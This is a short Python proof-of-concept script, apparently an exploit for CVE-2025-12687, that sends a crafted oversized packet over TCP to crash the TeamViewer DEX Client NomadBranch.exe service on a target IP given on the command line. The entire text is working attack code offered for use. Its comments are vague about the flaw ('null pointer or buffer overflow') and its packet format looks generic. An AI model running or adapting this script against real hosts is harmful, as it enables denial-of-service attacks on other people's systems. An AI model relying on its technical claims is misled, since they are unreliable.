CVE-2025-12687

# CVE-2025-12687 PoC - TeamViewer DEX Client NomadBranch.exe DoS # This PoC demonstrates sending a crafted command to trigger the vulnerability import socket import struct import sys def create_malformed_packet(): """Generate a malformed command packet for NomadBranch.exe""" # Protocol header header = b'\x00\x01' # Version/Type header += struct.pack('>I', 0xFFFFFFFF) # Length indicator # Malformed command payload that triggers the vulnerability # This specific pattern causes the service to crash payload = b'\x41' * 1024 # Oversized padding payload += b'\x00\x00\x00' # Triggers null pointer or buffer overflow payload += b'\xFF\xFF\xFF\xFF' # Invalid command code return header + payload def exploit(target_ip, target_port=8080): """Send malicious packet to trigger DoS""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) packet = create_malformed_packet() sock.send(packet) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") print(f"[+] Packet length: {len(packet)} bytes") print("[*] Service should crash after receiving this packet") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit(target, port)

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